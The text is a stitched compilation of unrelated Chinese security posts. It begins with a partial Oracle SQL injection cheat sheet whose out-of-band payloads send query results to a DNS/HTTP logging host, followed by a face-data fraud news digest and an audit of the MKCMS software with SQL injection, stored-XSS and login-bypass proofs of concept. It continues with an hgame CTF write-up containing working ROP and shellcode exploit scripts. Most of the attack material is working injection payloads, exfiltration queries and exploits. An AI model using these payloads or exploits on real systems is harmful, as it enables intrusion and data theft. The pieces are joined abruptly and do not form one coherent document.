?id=99' union select null,null,null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual -- 这里用rownum来指定返回结果，如果要匹配字符的数据库需要使用<>(rownum = 1 and owner <> 'MASTER')
5)注入爆表名
?id=99' union select null,null,null,null,(select table_name from user_tables where rownum = 1),null,null,null,null,null from dual --
6)注入爆列
?id=99' union select null,null,null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual -- 改变rownum来注入不同的列
7)最后注入爆数据跟mysql都是一样的，知道表名和列名直接select就行了
### 带外通道(OOB：Out Of Band Channels)
`OOB`(带外通道)：使用一些除常规通道以外的替代的信道来请求服务器资源，一般使用 Oracle
发送`HTTP`或者`DNS`请求，将查询结果带到请求中，然后监测外网服务器的`HTTP`和`DNS`日志，从日志中获取 sql
语句查询的结果，通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式，尤其是基于时间的盲注，能极大地加快速度；类似于sql注入中的使用load_file带外盲注
所以使用OOB需要有发起网络请求的权限
* **utl_http.request**
utl_http.request向外网主机发送http请求，需要出外网http
select utl_http.request('dnslog'||(select user from dual)) from dual;
* **utl_inaddr.get_host_address**
dns解析带外
把查询结果拼接到域名下，并使用DNS记录解析日志，通过这种方式获取查询结果
select utl_inaddr.get_host_address((select user from dual)||'dnslog') from dual
* **SYS.DBMS_LDAP.INIT**
在oracle10g和11g里面只需要public权限
SELECT DBMS_LDAP.INIT((‘dnslog',80) FROM DUAL;
* **HTTPURITYPE**
HTTPURITYPE根据给定的URI创建一个实例
SELECT HTTPURITYPE((select user from dual)||'dnslog').GETCLOB() FROM DUAL;
Oracle <= 10g
以下模块都可用于发起网络请求
UTL_INADDR.GET_HOST_ADDRESS
UTL_HTTP.REQUEST
HTTP_URITYPE.GETCLOB
DBMS_LDAP.INIT and UTL_TCP
## Oracle绕过技巧
* 使用hextoraw()及asciistr()搭配UTL_RAW.CAST_TO_VARCHAR2()函数来进行ascii的编码
hextoraw()：十六进制字符串转换为raw
SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw("abcdef")) FROM dual
使用rawtohex()来进行ascii的解码
SELECT rawtohex('abcdef') FROM dual
下面是一些利用编码绕过的情况
SELECT 1 FROM dual; 正常语句
SELECT%0a1%0aFROM%0adual; \n换行来替代空格
SELECT%0b1%0bFROM%0bdual; 使用tab来替换空格
SELECT%0c1%0cFROM%0cdual; 使用\r回车开替换空格
SELECT/**/1/**/FROM/**/dual; 多行注释符来替代回车
SELECT--%0a1--%0aFROM--%0adual; 单行注释符和换行来替代回车
SELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual; 使用内联注释符 | 社区文章 |
# 安全快讯9 | 工信部通报第二批问题APP，知名教育APP“上榜”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
## 0.5元一份！
## 谁在出卖我们的人脸信息？
一些网络黑产从业者利用电商平台，批量倒卖非法获取的人脸等身份信息和“照片活化”网络工具及教程。在淘宝、闲鱼等网络交易平台上，通过搜索特定关键词，就能找到专门出售人脸数据的店铺。除售卖人脸数据外，一些“胆大”的闲鱼卖家还出售“照片活化”工具，利用这种工具，
**可将人脸照片修改为执行“眨眨眼、张张嘴、点点头”等操作的人脸验证视频。**
**人脸数据0.5元一份、修改软件35元一套**
“一套（‘照片活化’）软件加教程35元，你直接付款，确认收货后我把链接发你。”，确认收货后，
**收到的“工具箱”里有虚拟视频刷机包、虚拟视频模拟器和人脸视频修改软件等工具** ，还有相关工具的操作教程文件。
**倒卖的人脸数据拿来做什么？**
当前网络黑市中售卖的人脸信息并非单纯的“人脸照片”，而是包含公民个人身份信息（包括身份证号、银行卡号、手机号等）的一系列敏感数据。据一位卖家透露，只要学会熟练使用“工具箱”，不仅可以
**利用这些人脸数据帮他人解封微信和支付宝的冻结账号，还能绕过知名婚恋交友平台及手机卡实名认证的人脸识别机制。**
**需警惕利用人脸信息进行的违法犯罪活动**
近年来，人脸识别技术被用于金融支付、小区安防、政务服务等诸多场景，既提高了便利性，也通过数据交互在一定程度上增强了安全性。但是，人脸数据如果发生泄露或被不法分子非法获取，就有可能被用于违法犯罪活动，轻则金融账户被盗刷，重则遭遇精准诈骗、敲诈勒索等，对此应保持警惕。
## 行业动态
## 工信部通报20年第二批侵害用户权益行为APP
近期，工信部公布了2020年第二批侵害用户权益行为的15款APP名单，智慧树、洋葱学院、纳米盒、悟饭游戏厅等APP被点名。自2019年12月以来，工信部就开始通报侵害用户权益行为的APP名单，累计通报了四批名单共87个APP“上榜”，问题主要集中在：
**私自收集个人信息、过度索取权限、账号注销难** 等8大类问题。
近年来，随着各种功能的APP争相进入我们的生活，更有很多“山寨APP”也开始浮出水面，侵害用户的权益和隐私。部分山寨APP可以存在几种行为：
**那么，如何避免下载到“山寨APP”呢？**
n从正规渠道下载APP，不要轻易点击陌生链接或扫描二维码。
n山寨APP通常与正版APP的名称及图标相似，且通常安装包体积小，下载安装快。
n一些所谓的“VIP版”“省流量版”“红包版”等APP，有着诱导下载的意图，也成为了“山寨APP”惯用的推广方式，在下载时要仔细甄别。
n在使用APP过程中，对于索要过多无关权限（“读取通讯录”、“通话记录”等），或者强制索要某些非必要权限的要谨慎授权。
## 国际前沿
## iOS 14 iCloud钥匙串新功能：
## 对可能会遭泄的弱密码发出警告
据外媒报道，最新的iOS 14和iPadOS
14对iCloud钥匙串进行了重要的功能增强。通过一些改进让用户能获得更多有关自己密码的有用信息，对可能会遭泄的弱密码发出警告。根据 Apple
的说法，iCloud 钥匙串现在可以验证用户密码是否涉及数据泄露，可以让用户及时更改密码，还可以了解用户使用重复或类似的密码对哪些其他的账户可能会存在影响。 | 社区文章 |
### 0x01全局过滤
**/system/library.php**
使用addslashes函数对$_COOKIE，$_GET，$_REQUEST，$_POST 进行转义
if (!get_magic_quotes_gpc()) {
if (!empty($_GET)) {
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST)) {
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
function addslashes_deep($_var_0)
{
if (empty($_var_0)) {
return $_var_0;
} else {
return is_array($_var_0) ? array_map('addslashes_deep', $_var_0) : addslashes($_var_0);
}
}
### 0x02前台SQL注入
**/ucenter/active.php**
$_GET['verify']经过stripslashes函数处理，而stripslashes函数能够删除addslashes函数添加的反斜杠从而导致注入，这里还有回显可以使用联合注入来回显数据
$verify = stripslashes(trim($_GET['verify']));
$nowtime = time();
$query = mysqli_query($conn,"select u_id from mkcms_user where u_question='$verify'");
$row = mysqli_fetch_array($query);
poc
1' union select version()%23
### 0x03前台SQL注入-2
**/ucenter/reg.php**
存在注入也是因为stripslashes函数删除了反斜杠导致的
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysqli_query($conn,"select u_id from mkcms_user where u_name='$username'");
漏洞验证，由于没有回显这里只能用布尔注入,为true应该提示用户名已存在
submit=1&name=x'or length(user())>1 %23
false则是邮箱已存在
submit=1&name=x'or length(user())>100 %23
### 0x04后台登入逻辑问题
**admin/cms_check.php**
判断是否登入是通过cookie里面存储的账号密码来决定的，我们可以通过注入出来的密文跟账号登入，或者直接爆破,可无视后台登入验证码
$result = mysqli_query($conn,'select * from mkcms_manager where m_name = "'.$_COOKIE['admin_name'].'" and m_password = "'.$_COOKIE['admin_password'].'"');
if (!$row = mysqli_fetch_array($result)) {
alert_href('请重新登录','cms_login.php');
};
### 0x05KindEditor
**/editor/php/upload_json.php?dir=file**
可上传html，存储xss
<html>
<head></head>
<body>
<form name="form" enctype="multipart/form-data" method="post" action="http://xxxxx.com/editor/php/upload_json.php?dir=file">
<input type="file" name="imgFile" />
<input type="submit" value="Submit" />
</form>
</body>
</html> | 社区文章 |
# 0x01：前言
这里记录了hgame 第一周的re与 pwn 题解，希望能给大家带来帮助！
# 0x02:advance
首先将它拖入ida，
于是 我们可以通过 ida 中的 F12 功能键 去搜索 字符串，然后通过关键字符串去定位到main函数，从而 继续后面的分析
我们搜索到以下关键字符串(红框框住部分)
通过它们便可以定位到 main函数所在位置：
程序流程 为：
我们输入的字符串然后经过sub_140001EB0函数处理，处理后得到的字符串再与
“0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX” 做比较，相等的话就说明我们已经拿到 flag了！
我们进去 sub_140001EB0函数：
signed __int64 __fastcall sub_140001EB0(_BYTE *a1, __int64 a2, int a3)
{
int v3; // er10
__int64 v4; // rax
__int64 v5; // rbx
_BYTE *v6; // rdi
_BYTE *v7; // r9
signed __int64 v8; // r11
unsigned __int64 v9; // rdx
unsigned __int64 v10; // rax
char v11; // cl
v3 = 0;
v4 = a3 - 2;
v5 = a2;
v6 = a1;
v7 = a1;
if ( v4 > 0 )
{
v8 = a2 + 1;
v9 = ((unsigned __int64)((unsigned __int64)(v4 - 1) * (unsigned __int128)0xAAAAAAAAAAAAAAABui64 >> 64) >> 1) + 1;
v3 = 3 * v9;
do
{
v10 = *(unsigned __int8 *)(v8 - 1);
v8 += 3i64;
*v7 = aAbcdefghijklmn[v10 >> 2];
v7[1] = aAbcdefghijklmn[((unsigned __int64)*(unsigned __int8 *)(v8 - 3) >> 4) | 16i64 * (*(_BYTE *)(v8 - 4) & 3)];
v7[2] = aAbcdefghijklmn[4i64 * (*(_BYTE *)(v8 - 3) & 0xF) | ((unsigned __int64)*(unsigned __int8 *)(v8 - 2) >> 6)];
v7[3] = aAbcdefghijklmn[*(_BYTE *)(v8 - 2) & 0x3F];
v7 += 4;
--v9;
}
while ( v9 );
}
if ( v3 < a3 )
{
*v7 = aAbcdefghijklmn[(unsigned __int64)*(unsigned __int8 *)(v3 + v5) >> 2];
if ( v3 == a3 - 1 )
{
v11 = 61;
v7[1] = aAbcdefghijklmn[16 * (*(_BYTE *)(v3 + v5) & 3)];
}
else
{
v7[1] = aAbcdefghijklmn[((unsigned __int64)*(unsigned __int8 *)(v5 + v3 + 1) >> 4) | 16i64
* (*(_BYTE *)(v3 + v5) & 3)];
v11 = aAbcdefghijklmn[4 * (*(_BYTE *)(v5 + v3 + 1) & 0xF)];
}
v7[2] = v11;
v7[3] = 61;
v7 += 4;
}
*v7 = 0;
return v7 - v6 + 1;
}
输 通过阅读代码很明显的 base64编码，将3个8位的字节（3 _8）转化成4个6位的字节(4_ 6),
之后在6位的前面补两个0，形成8位一个字节的形式。 当然具体的base64编码实现可以在网上具体学习下
当然这里 并不是纯粹的base64 加密，正宗的base64 的加密table为”
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/” 这题将table给换成了
“abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ”
所以这题的 flag 可由 对 “0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX” 进行 魔改后的base64
进行解密。（在网上可找个 base 64 解密代码 将其 将其table给换了，即可。
）
flag为：
hgame{b45e6a_i5_50_eazy_6VVSQ}
# 0x03:maze
这题 其实是 re中经典的 迷宫类 题目，拖入ida：详细见注释中的分析
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int v3; // eax
__int64 v4; // [rsp+0h] [rbp-80h]
char *v5; // [rsp+8h] [rbp-78h]
char s[48]; // [rsp+10h] [rbp-70h]
char v7; // [rsp+40h] [rbp-40h]
unsigned __int64 v8; // [rsp+78h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_4006A6(a1, a2, a3);
__isoc99_scanf("%40s", s);
HIDWORD(v4) = strlen(s);
LODWORD(v4) = 0;
v5 = (char *)&unk_6020C4; //这里是我们要开始走的位置 char* 类型
while ( (signed int)v4 < SHIDWORD(v4) ) //这里的while 循环去 逐位的判断 我们的 输入
{
v3 = s[(signed int)v4];
if ( v3 == 'd' )
{
v5 += 4; // +4 既可以理解为 向 右 走 四位 ，即 d 代表 着 右移
}
else if ( v3 > 'd' )
{
if ( v3 == 's' )
{
v5 += 64; //+64 相当于 64/4=16 行 把地图看着 二维数组，即 s代表 着 下移
} //一般 像迷宫题，都是 正方形式 的 即 x*x 的方阵，在后面其实发现这题 仍然是。即 16*16 的方阵
else
{
if ( v3 != 'w' ) //同理的话 w 代表着 上移
{
LABEL_12:
puts("Illegal input!");
exit(0);
}
v5 -= 64;
}
}
else
{
if ( v3 != 'a' ) //同理的话 a 代表着 上移
goto LABEL_12;
v5 -= 4;
}
if ( v5 < (char *)&unk_602080 || v5 > (char *)&unk_60247C || *(_DWORD *)v5 & 1 )
goto LABEL_22; //这里我们可以确定整个地图是 以unk_602080处开始的，但我们是在unk_6020C4开始行走的
LODWORD(v4) = v4 + 1;
}
if ( v5 == (char *)&unk_60243C ) //地图结束地址
{
sprintf(&v7, "hgame{%s}", s, v4);
puts("You win!");
printf("Flag is: ");
puts(&v7);
exit(0);
}
LABEL_22:
puts("You died");
exit(0);
}
即 首先我们将 地图 通过 IDC 脚本 跑出来：
关于 idc 脚本语言可以在网上看下这篇链接<https://www.jianshu.com/p/366cd488cb24>
以下是跑出来的结果
0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0
通过可以通过 python脚本将它们 排好 16*16，
#coding:utf8
v5=[0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0]
#print len(v5)
for i in range(len(v5)):
if (i+1)%16==0:
print v5[i]
else:
print v5[i],
阅读代码 我们可以得到 wasd 为 分别控制上左右下的 字符
从左上角的第一个 0 走到 右下角 得到 ssssddddddsssssddwwdddssssdssdd
最后 加上 hgame{} 即 flag ：
hgame{ssssddddddsssssddwwdddssssdssdd}
# 0x04: bitwise_operation2
这道题 真的是 re里出的很好的一道题，
照常一下，拖入ida:,
先看第一部分，这里其实要求输入 39 个字符串，除去开始的 hgame{ 和最一个 }还剩32个
因为 v6，v7，v8,v9,v10,v11,v12,v13 在连续的，其实可以用数组V6[8] 去理解它们的
v6是 数组首地址，后面的 在数组中元素嘛
即 在这里我们知道了： V6= [76,60,214,54,80,136,32,204]
然后
我们进去看下 sub_400616()函数
可以知道 它其实是 将 一个字符串的每两个 字符 分别转化为 16进制数然后合成 一个 1个字符， 举个列子：
“4b” -> chr(0x4b) ->”K”
所以第一部分：将是相当于 我们输入的 32个字符串 前 16个字符经上面函数处理成 8个字符存在与 V14 中 ，后16个字符经上面函数处理成
8个字符存在与 V16 中，
然后下面有3 个 for 循环：
我们逆着来， 先分析 最后一个：
经过最后一个 for循环得到v16（代码中记录为 VV16） 应该为 "Easylif3"
而经过 第二个 for循环的到的 v14（代码中记录为 VV14） 应该为 “e4sy _Re_ ：
关于位运算这里 有个小规律：
从而我们写出 python 脚本 跑出 第一个 for循环 v16 应该为的 内容
#coding:utf8
v6=[76,60,214,54,80,136,32,204]
vv14='e4sy_Re_'
vv16="Easylif3"
v16=[]
v14=[]
for k in range(8):
v16.append(ord(vv14[k])^(v6[k])^ord(vv16[k]))
print v16#[108, 105, 214, 54, 99, 179, 35, 160]
然后看 第二个 for循环：
这个更简单些，我们可以 很容易得到 第一个 for循环 v16 应该为的 内容
for j in range(8):
v14.append(ord(vv14[j])^(v6[j]))
print v14#[41, 8, 165, 79, 15, 218, 69, 147]
最后 我们看第一个 for循环：
我们相应着 将这个for循环中的 四个 表达式 倒着再循环过来即可，注意要记得将第一个 表达式的 >>5 变成<< 5 8** 变成 >>3
哦哦，这里要注意下 关于在ida 中并不是所有 反编译 都是完全 正确的，我们查看汇编 发现 **8 其实就是 <<3
for i in range(8):
v14[i] = v14[i]&0x55 ^ (v16[7-i]&0xAA)>>1 | v14[i]&0xAA
v16[7-i]=(v14[i]&0x55)<<1 ^ v16[7-i]&0xAA | v16[7-i]&0x55
v14[i]=v14[i]&0x55^(v16[7-i]&0xAA)>>1 | v14[i] &0xAA
v14[i]=v14[i]&0xE0<<5 | v14[i]>>3
# print v14
# print v16
for i in range(8):
v14[i]=hex(v14[i])
v16[i]=hex(v16[i])
print v14
print v16
得到结果：
V14:['0xf', '0x3', '0x1e', '0x3', '0x3', '0x19', '0x2', '0x12']
V16:['0x66', '0xcb', '0xf4', '0x1e', '0xcb', '0x1b', '0x1', '0x2']
而根据我们前面的分析 我们输入的字符串 就是 “hgame{“ +v14+v16+}
即 # hgame{ 0f233e63637982d266cbf41ecb1b0102 }
# 0x05 Hard_AAAAA
首先用file命令 检查下 文件属性：
file Hard_AAAAA
Hard_AAAAA: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32,
BuildID[sha1]=5c5c4e8b21a1b4ef48330e486d89a5064da74169, not stripped
然后用checksec 命令查看下 该程序开启了什么保护。
checksec Hard_AAAAA
[*]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found //开启了 Canary 保护
NX: NX enabled
PIE: No PIE (0x8048000)
于是拖入 ida(32):
这道题很简单，再将之前我们 得去 详细了解下 memcmp函数 （比较内存块大小的函数）：
这个很关键：
int memcmp ( const void * ptr1, const void * ptr2, size_t num );
//ptr1 ，ptr2 是指向内存块得指针
//num 是要比较得字节数
将ptr1指向的内存块的第一个num字节与ptr2指向的第一个num字节进行比较，
如果它们都匹配，则返回零；
如果不匹配，且ptr1中的值 比 ptr2 中的值 小 返回 <0 的 int 值
如果不匹配，且ptr1中的值 比 ptr2 中的值 大 返回 >0 的 int 值
请注意，与strcmp不同，该函数在找到空字符后不会停止比较。
给个 demo：
#include <stdio.h>
#include <string.h>
int main ()
{
char zise_1[] = "zise_yangwang";
char zise_2[] = "zise_YangWang";
int n;
n=memcmp ( zise_1, zise_2, sizeof(zise_1) );
if (n>0) printf ("'%s' is greater than '%s'.\n",zise_1,zise_2);
else if (n<0) printf ("'%s' is less than '%s'.\n",zise_1,zise_2);
else printf ("'%s' is the same as '%s'.\n",zise_1,zise_2);
return 0;
}
运行结果：
'zise_yangwang' is greater than 'zise_YangWang'.
因为 y(121)>Y(89)
或许，在这之前很多人 在看到第3个参数 7 的时候 就很懵，不应该是 4 嘛，所以，现在看完上面的 知识 就能很明白了，
所以 这题， 的关键 判断 就是要 求 v5的所在内存块中 前 7字节的内容 与 "0O0o"
所在内存块中 前 7字节的内容 相等。即可触发 后门函数， 从而 pwn 掉程序
!memcmp("0O0o", &v5, 7u)
我们通过 动态调试 ，参数arg0 是 第一个参数 地址 arg1 是我们构造的第二个参数 ， arg2 是 7
我们通过 命令 x/10x 0x80486e0 得到 前七个 字节内容是 "0O0o"+'\x00'+'O0'
所以 写 exp：
#coding:utf-8
from pwn import *
context.log_level='debug'
io = process("./Hard_AAAAA")
io = remote('47.103.214.163',20000)
payload = 'a'*(0xAC-0x31)+"0O0o"+'\x00'+'O0'
#payload += p64(get_flag_addr) #将EIP劫持到get_flag_addr
io.recvuntil("Let's 0O0o\\0O0!")
#gdb.attach(io,'b *0x08048605')
#pause()
io.sendline(payload)
io.interactive()#hgame{0OoO0oo0O0Oo}
# 0x06 One_Shot
首先用file命令 检查下 文件属性：
file One_Shot
One_Shot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=68e45f253cdc8253dce50c56a1eed3f9708d1fae, not stripped
然后用checksec 命令查看下 该程序开启了什么保护。
checksec One_Shot
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
拖入ida：
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE *v4; // [rsp+8h] [rbp-18h]
int fd[2]; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
v4 = 0LL;
*(_QWORD *)fd = open("./flag", 0, envp);
setbuf(stdout, 0LL);
read(fd[0], &flag, 30uLL);
puts("Firstly....What's your name?");
__isoc99_scanf("%32s", &name);
puts("The thing that could change the world might be a Byte!");
puts("Take tne only one shot!");
__isoc99_scanf("%d", &v4);
*v4 = 1;
puts("A success?");
printf("Goodbye,%s", &name);
return 0;
}
这里的话 我们 可以知道 该程序读取了 flag 存在在 bss段中，同时name
也存在了栈中，并且它们 相邻， 如果我们把name最后的 结束符\x00 给 换成 1 的话
那么，输出 name将会 顺带着把flag给输出 出来，所以这里 我们 首先输入32
字节大小填满 name，然后将 flag所在bss段中地址 0x6010E0 以十进制即6295776 发送即可实现！
所以 exp：
#coding:utf-8
from pwn import *
context.log_level='debug'
io = process("./One_Shot")
io = remote('47.103.214.163',20002)
io.recvuntil("Firstly....What's your name?")
payload = 'a'*32
io.sendline(payload)
io.recvuntil("Take tne only one shot!")
payload2="6295776"
#gdb.attach(io)
#pause()
io.send(payload2)
io.interactive()
得到 flag：hgame{On3_Sh0t_0ne_Fl4g}
# 0x07：ROP_LEVEL0
我们把它 拖入 ida 发现 其实 源码还是很简单的
我们把我们文件./some_life_experience的 内容 输出，然后我们再最多read 到buf 0x100字节！
这里的漏洞在 最后的read (0,&buf,0x100),存在栈溢出漏洞！
这题没有 system 和/bin/sh 字符后，所以 我这里 是 利用 puts 函数泄露libc
然后最后使用libc中的 system 和 /bin/sh 字符 getshell。
Exp：
#coding:utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
io = process("./ROP_LEVEL0")
elf=ELF("./ROP_LEVEL0")
#io = remote('47.103.214.163',20002)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main'] # 载入的libc_main函数的地址。
main_addr = elf.symbols['main']
pop_rdi_addr=0x400753
print hex(puts_plt)
print hex(puts_got) #0x601018
print hex(libc_start_main_got)
print hex(main_addr) #0x40065b
print hex(pop_rdi_addr) #0x400753 #ROPgadget --binary ROP_LEVEL0 --only 'pop|ret'
payload='a'*(0x50+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendlineafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag",payload)
io.recv()
puts_addr=u64(io.recv(6).ljust(8,"\x00"))
print hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
binsh_addr = libc_base + libc.dump('str_bin_sh')
p.sendlineafter('You can not only cat flag but also Opxx Rexx Wrxxx ./flag','a'*(0x50+8)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr))
io.interactive()
从而得到：
经过尝试 确定 libc6_2.23-0ubuntu10_amd64 符合 要求：
我们在 这个网站上 可查到 libc中的 每个函数的 偏移地址：
于是最后的 exp：
#coding:utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
io = process("./ROP_LEVEL0")
elf=ELF("./ROP_LEVEL0")
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")
io = remote('47.103.214.163',20003)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main'] # 载入的libc_main函数的地址。
main_addr = elf.symbols['main']
pop_rdi_addr=0x400753
print hex(puts_plt)
print hex(puts_got) #0x601018
print hex(libc_start_main_got)
print hex(main_addr) #0x40065b
print hex(pop_rdi_addr) #0x400753 #ROPgadget --binary ROP_LEVEL0 --only 'pop|ret'
payload='a'*(0x50+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendlineafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag",payload)
io.recv()
puts_addr=u64(io.recv(6).ljust(8,"\x00"))
print hex(puts_addr)
#libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - 0x06f690#libc.symbols['puts']
system_addr = libc_base + 0x045390#libc.symbols('system')
libc_binsh=next(libc.search("/bin/sh"))
binsh_addr = libc_base + libc_binsh
io.sendlineafter('You can not only cat flag but also Opxx Rexx Wrxxx ./flag','a'*(0x50+8)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr))
io.interactive()
得到 flag：
hgame{R0P_1s_H4cK3rs'_RoM4nC3}
# 0x08：Number_Killer
最后一道 pwn：
直接 丢ida 里，
我们可以看到 我们循环调用 20 次 readll 函数
我们 进入 readll 看下：
我们可以理解为这个函数 它将我们输入的 8个字符类型的数据 转化 成 long long int数据了，
这个 atoll函数 可具体参考这里：<http://www.cplusplus.com/reference/cstdlib/atoll/>
功能：解析C字符串str，将其内容解释为整数，并将其作为type的值返回long long int。
；另外 我们 注意看 main 函数 v4数组 在栈中 据 rbp的距离 为 0x60
然后除此之外还要注意 在 rbp-0x4 处还有个i ，在当我们覆盖的时候要不能影响它，因为这个i 会被其他地方调用 ，导致
一些奇怪的事情，最后的进行rop的话还要注意 atoll函数 返回类型 是long long int。最大范围是 0x7fffffff ffffffff
最后的shellcode 要用 nop 调整下，不然 会返回 负 1 影响shellcode 功能！
于是 exp：
from pwn import *
p = process("./Number_Killer")
#p = remote('47.103.214.163',20001)
context.log_level = 'info'
context.arch ='amd64'
p.recvuntil("Let's Pwn me with numbers!\n")
def sendNumber(num):
p.sendline(str(num))
sleep(0.1)
for i in range(11):
sendNumber(1)
sendNumber(0xc00000000) #idx
#gdb.attach(p)
#pause()
sendNumber(0x00000000040078d) #ret_addr
shellcode = "\x90\x90\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
shellcode = shellcode.ljust(0x30,'\x00')
print(len(shellcode))
for i in range(6):
sh = shellcode[8*i:8*i+8]
num = u64(sh)
print(hex(num))
sendNumber(num)
p.interactive()
得到 flag：
hgame{Ea2y_2hel1c0de_1n_St4ck}
# 0x09：特殊时期，出门记得戴口罩哦！ | 社区文章 |
**原文来自安全客，作者：Ivan1ee@360云影实验室
原文链接：<https://www.anquanke.com/post/id/175796> **
相关阅读：
* [《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》](https://paper.seebug.org/837/ "《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》")
